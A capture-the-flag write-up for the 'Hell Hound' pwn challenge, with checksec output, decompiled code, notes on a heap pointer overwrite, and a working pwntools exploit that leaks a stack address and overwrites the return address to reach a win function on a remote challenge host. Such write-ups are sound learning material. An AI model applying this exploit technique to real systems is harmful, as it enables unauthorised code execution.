Hell Hound

1) Checked Security

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Hellhound/challenge]
└─$ checksec hellhound
[*] '/home/vigneswar/Pwn/Hellhound/challenge/hellhound'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./.glibc/'
```

2) Decompiled the binary

Decompile: main - (hellhound)

```
1
2 undefined8 main(void)
3
4 {
5   ulong uVar1;
6   long in_FS_OFFSET;
7   void *local_50 [8];
8   long local_10;
9
10  local_10 = *(long *)(in_FS_OFFSET + 0x28);
11  setup();
12  banner();
13  local_50[0] = malloc(0x40);
14  do {
15    while( true ) {
16      while( true ) {
17        printf(&DAT_00401070);
18        uVar1 = read_num();
19        if (uVar1 != 2) break;
20        printf("\n[*] Write some code: ");
21        read(0,local_50[0],0x20);
22      }
23      if (2 < uVar1) break;
24      if (uVar1 == 1) {
25        printf("\n[+] In the back of its head you see this serial number: [%ld]\n",local_50);
26      }
27      else {
28 LAB_00400de9:
29        printf("%s\n\n[-] Invalid option!\n",&DAT_0040105b);
30      }
31    }
32    if (uVar1 != 3) {
33      if (uVar1 == 0x45) {
34        free(local_50[0]);
35        printf("%s[*] The beast seems quiet.. for the moment..\n",&DAT_0040105b);
36        if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
37          return 0;
38        }
39                    /* WARNING: Subroutine does not return */
40        __stack_chk_fail();
41      }
42      goto LAB_00400de9;
43    }
44    local_50[0] = *(void **)((long)local_50[0] + 8);
45    printf("%s\n[-] The beast went Berserk again!\n",&DAT_0040105b);
46  } while( true );
47 }
48
```

Decompile: berserk_mode_off - (hellhound)

```
1
2  void berserk_mode_off(void)
3
4  {
5    long lVar1;
6    long in_FS_OFFSET;
7
8    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
9    fflush(stdout);
10   system("cat ./flag.txt");
11   if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
12                     /* WARNING: Subroutine does not return */
13     __stack_chk_fail();
14   }
15   return;
16 }
17
```

3) Notes
i) local_50[0] = malloc(0x40) creates a heap chunk
ii) local_50[0] = *(void **)((long)local_50[0]+8) - This will change local_50 to the contents of local_50+8
iii) We also have a read(local_50)
iv) we also have a leak of stack address

4) Attack path
i) Leak stack address and find address where return address is stored
ii) change local_50 to the return address using ii)
iii) use read() to write over return address and write win function address

5) Exploit

```
from pwn import *

# io = process('./hellhound')
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
# signal.signal(signal.SIGALRM, signal.SIG_IGN)

io = remote('94.237.49.138', 44773)
io.sendlineafter(b'>> ', b'1')
return_address = int(re.search(r'\[(\d+)\]',
io.recvuntil(b'[*]').decode()).group(1))-16
print(hex(return_address))
io.sendlineafter(b'>> ', b'2')
io.sendlineafter(b': ', b'\x55'*8+p64(return_address))
io.sendlineafter(b'>>', b'3')
io.sendlineafter(b'>> ', b'2')
```

```
io.sendlineafter(b': ', p64(0x400977))
io.interactive()
```

6) Flag